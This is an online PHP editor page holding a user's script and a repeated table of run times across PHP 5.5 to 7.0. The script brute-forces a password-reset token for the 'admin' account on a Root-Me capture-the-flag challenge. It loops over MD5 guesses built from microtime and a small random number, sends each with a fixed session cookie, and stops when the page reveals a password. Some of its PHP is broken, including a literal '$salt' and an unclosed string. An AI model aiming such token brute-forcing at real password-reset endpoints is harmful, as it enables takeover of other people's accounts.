Online PHP editor | perf for R0uoK

<?php $ok = 1; while($ok==1){ $salt = microtime(); $generated_token = MD5('$salt' . rand(1, 100)); $url = "http://challenge01.root-me.org//realiste/ch14/?p=forgot_dev&username=admin&token=".$generated_token; echo $url; $ch = curl_init(); // configuration de l'URL et d'autres options curl_setopt($ch, CURLOPT_URL, $url ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE); curl_setopt($ch, CURLOPT_HTTPHEADER, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Connection: keep-alive Accept-Encoding: gzip,deflate,sdch Cookie: PHPSESSID=9211kbnklf3dbgq0o6k7ono9o6;); $chaine=curl_exec($ch); echo $chaine; if (strpos($chaine,"Votre mot de passe est") !== false) { echo $chaine; $ok = 2; } curl_close($ch); // fermeture de la session curl } ?>

Version	System time (s)	User time (s)	Memory (MiB)
7.0.1	0.013	0.083	20.33
7.0.0	0.010	0.087	20.16
5.6.16	0.010	0.083	20.54
5.6.15	0.007	0.037	18.16
5.6.14	0.007	0.040	18.28
5.6.13	0.007	0.060	18.19
5.6.12	0.007	0.057	20.98
5.6.11	0.007	0.080	21.14
5.6.10	0.003	0.093	21.13
5.6.9	0.010	0.090	20.95
5.6.8	0.017	0.057	20.42
5.5.30	0.003	0.040	17.98
5.5.29	0.007	0.087	18.03
5.5.28	0.003	0.047	20.88
5.5.27	0.007	0.073	20.89
5.5.26	0.007	0.050	20.71
5.5.25	0.010	0.087	20.69
5.5.24	0.020	0.070	20.24

Version

System time (s)

User time (s)

Memory (MiB)

7.0.1

0.013

0.083

20.33

7.0.0

0.010

0.087

20.16

5.6.16

0.010

0.083

20.54

5.6.15

0.007

0.037

18.16

5.6.14

0.007

0.040

18.28

5.6.13

0.007

0.060

18.19

5.6.12

0.007

0.057

20.98

5.6.11

0.007

0.080

21.14

5.6.10

0.003

0.093

21.13

5.6.9

0.010

0.090

20.95

5.6.8

0.017

0.057

20.42

5.5.30

0.003

0.040

17.98

5.5.29

0.007

0.087

18.03

5.5.28

0.003

0.047

20.88

5.5.27

0.007

0.073

20.89

5.5.26

0.007

0.050

20.71

5.5.25

0.010

0.087

20.69

5.5.24

0.020

0.070

20.24